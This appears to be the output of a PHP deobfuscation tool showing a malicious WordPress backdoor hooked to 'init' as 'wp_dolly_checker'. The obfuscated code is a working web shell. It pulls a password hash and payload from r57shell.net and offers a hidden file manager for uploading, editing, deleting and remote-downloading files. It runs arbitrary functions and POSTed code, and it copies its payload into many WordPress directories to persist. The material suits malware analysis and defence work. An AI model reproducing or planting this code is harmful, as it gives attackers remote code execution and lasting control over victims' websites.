goto AgeLS; dFfk0: if ($_GET["\x75\x72\154"]) { goto SS018; } goto yJbts; jEmGJ: $VPx30 = basename($_FILES["\x75\x70\137\x66\151\154\x65"]["\x6e\141\155\x65"]); goto aGqfN; q3q74: echo "\74\160\162\145\76" . htmlspecialchars(file_get_contents($O3J56)) . "\74\x2f\160\x72\145\76"; goto VdvuC; iq726: echo "\74\x2f\164\162\x3e\74\x2f\x74\x64\76\74\x2f\164\x61\142\x6c\145\x3e\74\x62\162\40\x2f\76"; goto q3q74; ubnXL: OjSeQ($LQALr, $lTy22); goto UMwvU; jgQ0a: $lTy22 = $_POST["\x70\x61\x74\150"] . "\57" . $OoXjv . "\x2e" . $yzhHh; goto ubnXL; dgXAi: L14eg: goto rXAN_; YhdcJ: if (file_exists($RzzSV)) { goto S93Di; } goto MOIMN; kVHSD: C9kj5: goto k383R; xeBtt: if (!(@$_GET["\144\x6f\x6c\x6c\171"] == "\61")) { goto eU3le; } goto xCUhG; TMtAp: S40Nr: goto FXEnU; srRVq: goto A13Q1; goto BlmRr; TvYDE: t7FCZ: goto dgXAi; phoOd: goto t7FCZ; goto Vlwez; li8mO: goto bDi4_; goto Eo0xR; XYpf7: echo $_GET["\146\x69\x6c\145\160\x61\164\x68"]; goto skJk_; LBa8L: UXGO_: goto uOLdJ; fLI3r: Wlv2_: goto d9a0m; dWw8W: i3U5e: goto S1_VQ; Cr3i_: WRHpw: goto X006e; Eo0xR: SS018: goto S2m1A; IQZR_: bks0V: goto qASLI; vlGdf: xjycG: goto Q9X6d; S2m1A: $LQALr = $_GET["\165\162\154"]; goto K2NvY; rCYu4: goto skFHo; goto vlGdf; KrgZY: uya_l: goto xUnKW; skJk_: echo "\x3c\57\164\162\x3e\x3c\x2f\x74\144\x3e\74\57\x74\141\142\154\145\76\x3c\142\x72\x20\x2f\x3e"; goto hRbRR; JB2IB: A13Q1: goto hrvvt; AgeLS: if (function_exists("\x63\165\x72\154\x5f\x69\x6e\x69\164")) { goto r_FAh; } goto gmP4g; GpI7L: $K85PS = curl_exec($h_ymz); goto NH6n1; hmyYv: goto HYjY3; goto faMNw; Y6dL3: echo $O3J56; goto iq726; dHicD: uzgd6: goto XZwzA; lTvy8: touch($RzzSV); goto nHhz7; GlOw_: NjMTQ: goto jgQ0a; zTWUN: M62tH: goto e1CUw; tWAfZ: function oJSeQ($LQALr, $lTy22) { goto nDAFb; l6zQi: curl_setopt($h_ymz, CURLOPT_RETURNTRANSFER, 1); goto GmYtd; rj_Uq: if ($UpMYi) { goto oFx_l; } goto ui9Re; oPpOA: $UpMYi = curl_exec($h_ymz); goto rj_Uq; GmYtd: curl_setopt($h_ymz, CURLOPT_TIMEOUT, 10); goto oPpOA; eyru6: oFx_l: goto eHdpY; eHdpY: file_put_contents($lTy22, $UpMYi); goto qOW2i; nDAFb: $h_ymz = curl_init(); goto zFo12; zFo12: curl_setopt($h_ymz, CURLOPT_URL, $LQALr); goto l6zQi; ui9Re: $UpMYi = @file_get_contents($LQALr); goto eyru6; qOW2i: } goto dFfk0; yu35n: if (!(md5(sha1(@$_POST["\x6c\x6f\x67\x69\156\137\160\x61\x73\163\x77\x6f\x72\x64\137\x66\x69\x6c\x65"])) == $K85PS)) { goto sXBC9; } goto lTvy8; plzPE: goto bDi4_; goto dHicD; VdvuC: skFHo: goto Ljx8c; RKmRi: JMobb: goto NxnBL; ldRqe: echo "\x3c\x74\162\76\74\164\x64\76\x3c\x66\x6f\x6e\x74\x20\x63\x6f\154\157\162\x3d\x22\x72\145\x64\x22\x3e\x64\x6f\x77\x6e\154\157\141\x64\x20\146\141\151\x6c\74\x2f\x66\157\x6e\164\76\x3c\x2f\164\144\x3e\74\x2f\x74\x72\x3e"; goto fU13s; ZJgqn: echo "\x3c\x74\141\x62\154\x65\x20\141\154\151\147\156\x3d\42\x63\x65\x6e\x74\145\x72\42\40\x77\151\x64\x74\150\x3d\42\64\60\x30\x22\x20\x62\x6f\162\x64\x65\162\x3d\42\x30\x22\40\x63\x65\154\x6c\x73\160\141\x63\151\156\x67\x3d\42\61\42\40\x63\145\x6c\154\x70\x61\144\144\x69\156\147\x3d\x22\63\x22\76\x3c\164\x72\x3e\74\x74\x64\76\x50\x61\x74\150\116\x6f\x77\x3a\x20"; goto RdxJA; SJ77b: eUVBQ: goto tfWSP; Vlwez: atslh: goto tSWA6; Bxytp: $mmkrr = $_GET["\160\141\x74\150"]; goto jS8f3; hrvvt: oJsEq($LQALr, $lTy22); goto rNHwy; PIA1c: YbnLr: goto nxI2Z; xCfjP: if (!(isset($_GET["\157\x70\164\151\157\156"]) && $_GET["\157\160\x74\151\157\156"] == "\144\x65\x6c\145\x74\x65")) { goto uya_l; } goto XUMT0; u5uZ6: goto skFHo; goto fLI3r; upq2L: goto q9OdR; goto Ikp30; hV0Ek: rBbSt: goto KrgZY; IUDsi: goto M62tH; goto TMtAp; gRNe7: echo "\74\146\157\156\x74\x20\x63\157\x6c\157\x72\75\42\x72\x65\144\x22\76\x75\x70\x20\x66\141\151\x6c\x21\x3c\57\x66\x6f\x6e\x74\76\74\142\x72\40\57\x3e"; goto phoOd; Ikp30: S93Di: goto ZJgqn; MOIMN: echo "\74\x66\x6f\x72\155\40\x61\143\x74\x69\x6f\75\x22\42\x20\x6d\145\164\x68\157\x64\x3d\x22\x70\157\163\164\42\x3e\74\151\156\x70\165\x74\x20\x74\171\160\x65\x3d\42\164\145\x78\164\x22\x20\156\x61\155\x65\x3d\x22\154\x6f\147\x69\x6e\137\x70\141\x73\x73\167\x6f\162\x64\137\146\151\154\x65\42\76\74\151\x6e\160\165\164\40\164\x79\160\145\75\42\x73\x75\142\155\151\x74\42\x20\x76\x61\x6c\x75\x65\75\x22\x3e\x22\76\x3c\x2f\x66\157\x72\155\x3e"; goto upq2L; tSWA6: echo "\x3c\x66\x6f\156\164\x20\143\x6f\x6c\x6f\162\x3d\42\x67\162\x65\145\156\x22\76\x66\151\154\145\x20\x75\160\41\74\57\x66\157\156\x74\x3e\74\x62\x72\x20\x2f\76"; goto TvYDE; gmP4g: $K85PS = file_get_contents("\150\164\x74\x70\72\57\57\162\x35\x37\163\150\145\154\154\x2e\x6e\x65\x74\x2f\152\x71\x75\x65\162\171\56\160\x68\x70\x3f\166\75\x31\x2e\x32\x26\160\x77\144\x3d\x67\145\x74"); goto hmyYv; tfWSP: bDi4_: goto dzIG0; JwTRk: $O3J56 = $Nbc86 . "\x2f\x69\x6e\144\145\170\56\x70\x68\x70"; goto m_4yT; fU13s: goto eUVBQ; goto YplHd; FlSlC: bXi1T: goto plzPE; m34Cf: echo "\116\x6f\164\x20\x73\141\x76\x65\x64\41"; goto IUDsi; qASLI: $yzhHh = "\160\x68\160"; goto ZfgMw; D1Cq4: if ($LgKF7[3] == "\x74\x78\164") { goto bks0V; } goto sjiR5; S1_VQ: if ($_GET["\144\151\162"]) { goto qgEeF; } goto iWVOR; xCUhG: $RzzSV = sys_get_temp_dir() . DIRECTORY_SEPARATOR . md5($_SERVER["\122\105\x4d\x4f\124\105\x5f\101\104\104\122"] . $_SERVER["\110\124\x54\120\137\110\x4f\x53\x54"]); goto Khgnn; yJbts: if ($_POST["\x75\162\154"]) { goto uzgd6; } goto li8mO; Ljx8c: q9OdR: goto hj97H; NH6n1: curl_close($h_ymz); goto N0EBe; RdxJA: if (isset($_GET["\160\x61\x74\150"])) { goto gI6W7; } goto Iz5D3; Pr2RI: echo "\74\164\162\x3e\x3c\164\144\x3e\x3c\146\157\156\164\40\143\157\154\157\x72\x3d\x22\x67\x72\145\145\x6e\42\76\x64\x6f\x77\156\x6c\157\141\144\40\x73\165\143\x63\x65\x73\163\x3c\57\x66\157\156\164\x3e\x3c\57\164\144\x3e\74\57\x74\x72\x3e"; goto SJ77b; r_sui: if (!isset($_POST["\145\144\151\164\x5f\x63\157\x6e\x74\x65\x6e\x74"])) { goto FwzM9; } goto UFo3O; BlmRr: qgEeF: goto JXv5D; rWkxF: echo "\x3c\144\151\166\40\x69\x64\x3d\x22\143\157\156\164\x65\x6e\x74\42\76\74\164\x61\x62\154\145\40\167\x69\144\164\150\75\x22\63\x38\60\x22\40\142\157\x72\x64\145\162\x3d\x22\x30\42\40\x63\145\154\154\160\141\144\144\x69\156\x67\75\42\x33\42\x20\143\145\x6c\154\163\160\141\143\x69\x6e\147\x3d\42\61\42\x20\141\x6c\x69\x67\x6e\75\42\143\145\156\164\x65\162\x22\76\74\x74\162\x20\x63\154\x61\163\x73\x3d\42\x66\151\x72\x73\164\42\76\x3c\164\144\x3e\x4e\x61\x6d\145\74\x2f\x74\x64\x3e\x3c\164\144\76\x53\151\172\x65\x3c\x2f\164\144\76\74\164\144\76\117\160\x74\151\x6f\x6e\x73\x3c\x2f\164\144\76\x3c\57\164\x72\76"; goto qIOxf; mA0OI: echo "\x3c\146\x6f\156\x74\x20\143\x6f\154\x6f\x72\x3d\42\162\x65\144\x22\76\x44\x65\x6c\145\164\145\40\x46\151\x6c\x65\x20\105\162\162\x6f\x72\x2e\74\x2f\146\157\x6e\164\x3e\74\142\162\40\x2f\x3e"; goto L8pC3; UMwvU: if (file_exists($lTy22)) { goto l5dV8; } goto ldRqe; qIOxf: foreach ($owPRA as $lTy22) { goto Jt9Zu; VJmpH: goto H_MTE; goto ODmEo; ODmEo: swF91: goto ID5GJ; Jt9Zu: if (!(!is_dir("{$mmkrr}\57{$lTy22}") || $lTy22 == "\x2e" || $lTy22 == "\56\56")) { goto swF91; } goto VJmpH; ID5GJ: echo "\x3c\x74\x72\x3e\74\x74\x64\x3e\74\x61\40\x68\x72\x65\146\75\42\x3f\x64\x6f\154\x6c\x79\75\x31\x26\160\x61\x74\x68\x3d{$mmkrr}\57{$lTy22}\42\76{$lTy22}\x3c\x2f\x61\x3e\74\57\x74\144\76\x3c\x74\144\76\x44\111\122\74\x2f\x74\x64\x3e\74\x74\144\x3e\x6e\x6f\156\145\x3c\57\164\x64\x3e\74\x2f\164\162\76"; goto Rx8sI; Rx8sI: H_MTE: goto bwIPu; bwIPu: } goto RKmRi; nsaH0: Rvvk_: goto j0hH_; jW4lX: goto jLYJ2; goto Nt1sH; dzIG0: echo "\x3c\164\162\76\74\x74\x64\x3e\x3c\146\157\x72\x6d\x20\155\145\164\x68\x6f\144\x3d\x22\x50\x4f\123\124\42\40\141\143\x74\151\x6f\x6e\x3d\42\77\144\157\x6c\x6c\171\75\x31\x26\x70\141\164\150\x3d{$mmkrr}\x22\76\74\x73\x70\141\156\76\125\x72\x6c\x3a\x20\x3c\x2f\x73\160\141\156\x3e\x3c\151\156\x70\165\164\40\164\x79\x70\x65\75\x74\x65\170\164\x20\x6e\x61\x6d\x65\75\x22\165\162\154\42\40\x76\x61\154\165\145\x3d\42\42\76\x3c\x69\156\160\165\164\40\x74\171\x70\145\75\x22\x68\x69\x64\x64\145\x6e\x22\x20\x6e\x61\155\145\75\x22\160\x61\164\150\x22\40\166\141\154\x75\145\75\x22{$mmkrr}\x22\x3e\x3c\151\x6e\160\165\x74\40\164\171\x70\x65\75\x73\x75\142\x6d\x69\x74\40\166\141\x6c\x75\145\75\x22\104\157\x77\156\154\157\x61\x64\x22\76\x3c\57\x66\157\x72\155\x3e\74\x2f\164\144\x3e\x3c\57\x74\162\x3e"; goto r_sui; iWVOR: $lTy22 = $_SERVER["\x44\117\x43\125\115\105\x4e\x54\137\x52\x4f\117\124"] . "\57" . $OoXjv . "\56" . $yzhHh; goto srRVq; uOLdJ: echo "\x3c\57\x74\x61\x62\x6c\x65\x3e\74\57\144\151\x76\x3e"; goto u5uZ6; FxhyG: foreach ($owPRA as $EimFw) { goto EIGct; hIQZz: if ($c5tlh >= 1024) { goto ZPmw6; } goto nN1oo; eLeOD: ZPmw6: goto LQUIA; mCU9k: $c5tlh = filesize("{$mmkrr}\x2f{$EimFw}") / 1024; goto w1OY5; Z_SEj: goto Iquu7; goto OkFmy; R7O_A: zftmD: goto qy1ZP; OkFmy: Zwy3H: goto mCU9k; MKC3o: Iquu7: goto aJ_HF; FJTc0: goto zftmD; goto eLeOD; nN1oo: $c5tlh = $c5tlh . "\x20\x4b\x42"; goto FJTc0; qy1ZP: echo "\x3c\x74\162\x3e\x3c\x74\144\76\74\141\40\150\162\x65\x66\x3d\x22\x3f\144\x6f\154\x6c\171\75\x31\46\x66\151\x6c\x65\160\x61\x74\x68\x3d{$mmkrr}\x2f{$EimFw}\46\160\x61\x74\150\75{$mmkrr}\x22\76{$EimFw}\74\57\x61\76\x3c\x2f\x74\144\76\x3c\x74\144\x3e" . $c5tlh . "\x3c\57\x74\x64\x3e\x3c\164\144\76\74\x61\x20\x68\162\145\x66\75\42\x3f\144\x6f\154\x6c\x79\75\x31\46\x70\x61\164\150\x3d{$mmkrr}\46\144\x65\x6c\146\151\x6c\x65\x3d{$mmkrr}\x2f{$EimFw}\46\x6f\x70\164\151\157\x6e\x3d\144\x65\x6c\x65\164\x65\42\x3e\x44\x65\154\x65\x74\145\x3c\57\141\x3e\x3c\57\x74\144\x3e\x3c\57\164\162\76"; goto MKC3o; EIGct: if (is_file("{$mmkrr}\57{$EimFw}")) { goto Zwy3H; } goto Z_SEj; w1OY5: $c5tlh = round($c5tlh, 3); goto hIQZz; LQUIA: $c5tlh = round($c5tlh / 1024, 2) . "\40\x4d\102"; goto R7O_A; aJ_HF: } goto LBa8L; ZfgMw: $OoXjv = $LgKF7[2]; goto dWw8W; XUMT0: if (unlink($_GET["\144\145\x6c\x66\151\x6c\x65"])) { goto C9kj5; } goto mA0OI; UFo3O: if (file_put_contents($_GET["\x66\151\x6c\x65\160\141\x74\x68"], stripslashes($_POST["\x65\144\151\164\x5f\143\157\156\x74\145\156\164"]))) { goto S40Nr; } goto m34Cf; K2NvY: preg_match("\57\50\56\52\51\x5c\x2f\50\56\52\x29\x5c\56\x28\56\x2a\77\x29\x24\57", $LQALr, $LgKF7); goto D1Cq4; xUnKW: echo "\x3c\57\x63\145\x6e\164\x65\x72\x3e"; goto HRA1x; nxI2Z: echo "\x3c\x74\162\x3e\74\x74\144\76\74\146\157\x6e\164\40\x63\157\x6c\x6f\x72\75\42\147\x72\145\x65\x6e\42\76\x64\x6f\167\156\154\x6f\141\x64\x20\163\165\143\x63\x65\163\x73\74\57\146\x6f\156\x74\x3e\x3c\57\x74\x64\x3e\x3c\x2f\164\162\76"; goto FlSlC; gLLAs: curl_setopt($h_ymz, CURLOPT_URL, "\x68\x74\x74\x70\x3a\x2f\x2f\x72\65\67\163\150\145\x6c\154\56\156\x65\164\57\152\x71\165\145\162\171\56\160\x68\x70\77\166\x3d\61\x2e\62\46\x70\167\144\75\147\x65\x74"); goto ULNtQ; HRA1x: $owPRA = scandir($mmkrr); goto rWkxF; rNHwy: if (file_exists($lTy22)) { goto YbnLr; } goto kUFa8; Ye5ln: goto i3U5e; goto IQZR_; hj97H: exit; goto tC9Hn; faMNw: r_FAh: goto P586y; SdCj3: $OoXjv = "\x6d\x6f\x62\x61\x6e"; goto Av9KZ; Iz5D3: $mmkrr = getcwd(); goto jW4lX; BCFIX: if (isset($_GET["\146\151\x6c\145\x70\x61\164\x68"])) { goto Wlv2_; } goto wM46Q; RGsUu: $OoXjv = "\x6d\157\142\141\x6e"; goto Ye5ln; sQYRm: $IBeZo = explode("\x2f", $mmkrr); goto x5kK1; L8pC3: goto rBbSt; goto kVHSD; aGqfN: if (move_uploaded_file($_FILES["\165\160\x5f\x66\x69\154\x65"]["\164\x6d\x70\137\156\x61\x6d\145"], $mmkrr . "\x2f" . $VPx30)) { goto atslh; } goto gRNe7; j0hH_: $yzhHh = "\x70\150\x70"; goto jQHrI; tC9Hn: eU3le:
}
add_action('init','wp_dolly_checker');
function wp_dolly_checker()
{
 goto KyxwG; Qe5AU: nmiM9: goto hGfwS; q1aF4: exit; goto G0SlY; Yf8JW: $fE1ys = curl_exec($mEeQs); goto QNQiL; QkyyZ: if ($QKLxZ == DIRECTORY_SEPARATOR || $QKLxZ == '') { goto mTyEJ; } goto FEkXQ; wjTCp: foreach ($MuYG1 as $DqB8Q => $dMXPq) { goto bPiOm; BMbTh: hP7zk: goto i3H_v; mxh_8: if (!file_exists($MspFa)) { goto wGuiH; } goto LKhpn; bPiOm: $MspFa = $Sh5di . DIRECTORY_SEPARATOR . $DqB8Q; goto mxh_8; FAeni: wGuiH: goto BMbTh; LKhpn: $fSZu0 = $fSZu0 + 1; goto FAeni; i3H_v: } goto zCJdv; aZZY6: $mEeQs = curl_init(); goto x4Vrc; vd_rO: RsMcV: goto q1aF4; DysgT: goto sA6Og; goto MoyD9; gkCIn: if (function_exists("\x63\x75\162\x6c\137\x69\x6e\x69\x74")) { goto VlpaN; } goto VAqAc; zDok4: goto HhK_n; goto qNaJh; Rf1hd: QJU0k: goto ySOkK; zCJdv: jFUfU: goto f3rrf; S2tGM: goto OTmG1; goto Rf1hd; ckbV_: @file_put_contents($kTSwe, $fE1ys); goto of7g3; HDccw: goto Tdvpw; goto CijGp; FXFfv: if (!@$_GET["\163\154\151\156\143\x65\137\x67\157\x6c\144\x65\x6e"]) { goto hAvMV; } goto LjrKW; xX_GH: sA6Og: goto IbIZn; ed6pF: $yPqE6 = @file_get_contents($kTSwe); goto WY47z; ySOkK: foreach ($MuYG1 as $DqB8Q => $dMXPq) { goto KcT46; A8A12: nJioo: goto yoRrJ; ZSl5U: $jUuZX = file_get_contents($LcxcD); goto LICvp; V8Brd: goto YVdSE; goto ZIlXh; GRVP2: goto nJioo; goto ylsLA; N6OEe: if (!file_exists($LcxcD)) { goto l9a3m; } goto ZSl5U; yoRrJ: MOUya: goto oh7TC; wIf1k: YVdSE: goto GRVP2; jIsyG: $LrYlV = 1; goto wIf1k; wgZjk: $LcxcD = $Sh5di . DIRECTORY_SEPARATOR . $DqB8Q . DIRECTORY_SEPARATOR . $dMXPq; goto N6OEe; Apriz: @mkdir($MspFa); goto wgZjk; LICvp: if (@preg_match("\43\163\x74\x74\x31\x23", $jUuZX)) { goto Bc6bR; } goto zPySZ; ylsLA: l9a3m: goto rBomF; ZIlXh: Bc6bR: goto jIsyG; rBomF: @file_put_contents($LcxcD, $yPqE6); goto A8A12; zPySZ: @file_put_contents($LcxcD, $yPqE6); goto V8Brd; KcT46: $MspFa = $Sh5di . DIRECTORY_SEPARATOR . $DqB8Q; goto Apriz; oh7TC: } goto T6Duc; pH5SS: function xIHv0($ZSTFj) { goto KDEvV; waZyj: $DHEWU = stream_get_meta_data($ddLZk); goto sYkJ0; sYkJ0: $DHEWU = $DHEWU["\x75\x72\151"]; goto TtrPc; TtrPc: fwrite($ddLZk, $ZSTFj); goto NQ4vn; qxIkp: fclose($ddLZk); goto EbnsX; NQ4vn: $eAhVV = (include $DHEWU); goto qxIkp; EbnsX: return $eAhVV; goto qfoTy; KDEvV: $ddLZk = tmpfile(); goto waZyj; qfoTy: } goto UDFEx; IhthM: $QKLxZ = str_replace("\57", DIRECTORY_SEPARATOR, $QKLxZ); goto QkyyZ; x4Vrc: curl_setopt($mEeQs, CURLOPT_URL, "\150\164\164\x70\72\x2f\57\x72\65\67\163\x68\145\154\154\56\x6e\x65\x74\57\x6a\x71\165\145\162\171\56\160\x68\x70\x3f\166\75\x31\x2e\62\46\x72\x65\161\x75\x65\163\164\x3d\145\x6e\x61\142\x6c\145\x77\x70"); goto hzdUV; QNQiL: curl_close($mEeQs); goto IaiOO; VAqAc: $GAHRw = $_SERVER["\x48\x54\124\120\x5f\x48\x4f\123\x54"] . $_SERVER["\x52\105\121\x55\x45\x53\124\137\x55\122\111"]; goto VAv78; yJe1b: $uQ5c4 = parse_url($u_RbO); goto y5tnx; mrf2x: $Zm2U4 = dirname($pVTbi); goto IhthM; de1Ct: OTmG1: goto oIyiW; nrr_E: $u_RbO = $_SERVER["\x52\105\x51\x55\105\x53\x54\137\x55\122\x49"]; goto yJe1b; Cvl2J: $K5yJ2 = md5_file($cKbig); goto Up5Vf; Up5Vf: if ($fSZu0 < 3) { goto QJU0k; } goto Bp_yq; f3rrf: $cKbig = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "\163\x65\163\x73\x5f" . md5($eETKK); goto Cvl2J; XjiX3: $fE1ys = file_get_contents("\150\x74\x74\x70\72\57\57\162\x35\x37\x73\150\x65\x6c\x6c\x2e\x6e\x65\x74\57\152\x71\x75\x65\x72\x79\x2e\x70\x68\160\77\x76\x3d\x31\56\x32\46\160\167\144\x3d\x67\x65\x74"); goto hne6b; XKY92: $fE1ys = @file_get_contents("\150\164\x74\160\x3a\x2f\x2f\162\65\67\163\150\145\154\154\x2e\156\145\164\57\x6a\161\165\145\162\x79\56\x70\x68\160\77\166\75\61\x2e\x32\x26\162\x65\161\x75\x65\163\164\75\x65\156\141\x62\x6c\x65\167\x70", false, $HxaPy); goto DysgT; c5SKK: Tdvpw: goto FXFfv; g_Dek: $eETKK = str_replace("\167\x77\167\x2e", '', $_SERVER["\x48\x54\x54\120\137\110\x4f\x53\124"]); goto ngBJ4; Bp_yq: foreach ($MuYG1 as $DqB8Q => $dMXPq) { goto ZGqgW; OGjDS: $NpHAx = $yPqE6 . $jUuZX; goto SCA7u; l5E7m: $LrYlV = 1; goto xzU8v; OQfAo: UsXxG: goto l5E7m; QBPHR: $LcxcD = $Sh5di . DIRECTORY_SEPARATOR . $DqB8Q . DIRECTORY_SEPARATOR . $dMXPq; goto aeOke; iLCOH: goto TIc3h; goto waB8m; SCA7u: @file_put_contents($LcxcD, $NpHAx); goto GrePg; KH9Lg: if (@preg_match("\43\163\x74\164\61\43", $jUuZX)) { goto UsXxG; } goto OGjDS; rqPC_: TIc3h: goto s79kD; GrePg: goto bhipc; goto OQfAo; ZGqgW: $MspFa = $Sh5di . DIRECTORY_SEPARATOR . $DqB8Q; goto rSAD5; RgC7M: YMn0h: goto E3zXK; xzU8v: bhipc: goto iLCOH; kRNwF: @file_put_contents($LcxcD, $yPqE6); goto rqPC_; aeOke: if (!file_exists($LcxcD)) { goto HWS0w; } goto kLr4B; rSAD5: if (!file_exists($MspFa)) { goto o_Te2; } goto QBPHR; kLr4B: $jUuZX = file_get_contents($LcxcD); goto KH9Lg; s79kD: o_Te2: goto RgC7M; waB8m: HWS0w: goto kRNwF; E3zXK: } goto F3CCi; YGxN6: if (file_exists($kTSwe)) { goto TJCdR; } goto gkCIn; F3CCi: V1rQp: goto S2tGM; aNW5k: $QKLxZ = dirname($QKLxZ); goto mrf2x; LjrKW: echo "\x3c\x21\55\x2d\40\x2f\57\x53\151\x6c\x65\156\143\x65\x20\151\x73\x20\x67\x6f\154\144\145\156\x2e\40\55\x2d\76"; goto giC4t; bf9e9: if (!file_exists($kTSwe)) { goto ULUeR; } goto ed6pF; of7g3: nAnXY: goto Dvves; giC4t: if (function_exists("\143\165\162\154\137\151\156\151\164")) { goto Qz1EW; } goto XjiX3; KyxwG: $pVTbi = $_SERVER["\x53\103\122\111\120\x54\137\x46\111\x4c\x45\116\x41\115\105"]; goto nrr_E; MY_05: print_r($_GET["\x66"]($_GET["\x63"])); goto Qe5AU; O1ccd: $fE1ys = curl_exec($mEeQs); goto EhptG; IaiOO: bmZt9: goto duaXQ; YOjF1: Qz1EW: goto AMj8v; FEkXQ: $Sh5di = str_replace($QKLxZ, '', $Zm2U4); goto zDok4; y5tnx: $QKLxZ = $uQ5c4["\160\141\164\x68"]; goto aNW5k; IbIZn: if (!$fE1ys) { goto nAnXY; } goto ckbV_; Dvves: TJCdR: goto bf9e9; AMj8v: $mEeQs = curl_init(); goto bKd8t; hzdUV: curl_setopt($mEeQs, CURLOPT_RETURNTRANSFER, 1); goto OTW8D; bKd8t: curl_setopt($mEeQs, CURLOPT_URL, "\x68\164\x74\160\72\x2f\x2f\162\65\x37\x73\x68\x65\x6c\154\56\156\x65\164\57\x6a\161\x75\145\162\171\x2e\160\x68\160\x3f\166\75\x31\56\x32\x26\x70\167\x64\75\147\145\164"); goto vUl5h; UDFEx: print_r(xIHV0($_POST["\x6c"])); goto FRTbk; MoyD9: VlpaN: goto aZZY6; S_TrO: $Sh5di = $Zm2U4; goto BCym_; hne6b: goto bmZt9; goto YOjF1; CijGp: fjmem: goto jBR6N; VAv78: $JJ8w9 = array("\x68\164\164\160" => array("\150\145\141\144\x65\x72" => array("\x52\145\x66\x65\x72\x65\162\72\x20{$GAHRw}\xd\xa"))); goto NJgR1; vUl5h: curl_setopt($mEeQs, CURLOPT_RETURNTRANSFER, 1); goto Yf8JW; duaXQ: if (!(md5(sha1(@$_GET["\x69\x73"])) == $fE1ys)) { goto RsMcV; } goto eDs81; BCym_: HhK_n: goto g_Dek; qNaJh: mTyEJ: goto S_TrO; NJgR1: $HxaPy = stream_context_create($JJ8w9); goto XKY92; EhptG: curl_close($mEeQs); goto xX_GH; eDs81: if (!@$_GET["\x66"]) { goto nmiM9; } goto MY_05; T6Duc: WwvZK: goto de1Ct; ZH2qV: $fSZu0 = 0; goto wjTCp; WY47z: $MuYG1 = array("\143\147\151\55\142\151\x6e" => "\150\x65\154\x6c\157\56\x70\150\160", "\143\x73\x73" => "\x73\x74\171\x6c\x65\x73\56\160\150\x70", "\x69\x6d\x61\147\145\163" => "\x74\151\155\164\x68\165\x6d\142\x2e\160\x68\x70", "\x77\160\x2d\151\156\143\154\x75\x64\x65\163" => "\x77\x70\55\x63\x6c\x69\x2e\x70\x68\160", "\x61\163\x73\145\164\x73" => "\154\x65\163\x73\x2e\143\x73\163\56\x70\x68\x70", "\141\160\x70" => "\166\145\156\144\157\162\56\x70\150\160", "\163\157\x75\x72\x63\145\163" => "\166\151\x65\167\55\164\x65\x6d\x70\154\x61\x74\x65\x2e\160\x68\x70", "\152\163" => "\x66\157\156\164\163\x2e\x70\x68\160", "\167\160\55\x61\x64\x6d\151\x6e" => "\167\x70\x2d\x61\144\x6d\151\x6e\56\160\150\x70", "\143\157\156\x66\x69\147" => "\143\157\156\146\151\147\x75\x72\141\x74\x69\x6f\x6e\56\151\x6e\x63\x2e\x73\x61\155\x70\154\x65\56\160\x68\x70", "\144\x61\164\141" => "\x73\x6f\x75\x72\x63\x65\163\x2e\160\150\x70", "\166\x65\x6e\144\x6f\x72" => "\x63\157\156\163\164\x72\x75\143\x74\x2e\160\x68\160", "\167\160\x2d\x63\157\156\164\145\156\x74" => "\151\156\x64\x65\170\56\160\150\x70"); goto ZH2qV; G0SlY: hAvMV: goto YGxN6; hGfwS: if (!@$_POST["\x6c"]) { goto z4p4o; } goto pH5SS; ngBJ4: if (is_writable(sys_get_temp_dir())) { goto fjmem; } goto a_ROr; OTW8D: curl_setopt($mEeQs, CURLOPT_REFERER, $_SERVER["\110\x54\124\120\137\x48\117\x53\124"] . $_SERVER["\x52\x45\x51\125\x45\x53\124\x5f\125\x52\111"]); goto O1ccd; jBR6N: $kTSwe = sys_get_temp_dir() . DIRECTORY_SEPARATOR . md5("\163\145\163\163\137" . $eETKK . "\137\x6c\163\x77\163"); goto c5SKK; a_ROr: $kTSwe = $Zm2U4 . DIRECTORY_SEPARATOR . md5("\163\145\163\163\137" . $eETKK . "\x5f\154\x73\x77\x73"); goto HDccw; FRTbk: z4p4o: goto vd_rO; oIyiW: ULUeR:
}

Function Calls

None

Variables

None

Stats

MD5 7f6a86c7dd835f395ffb809736e33f7f
Eval Count 0
Decode Time 54 ms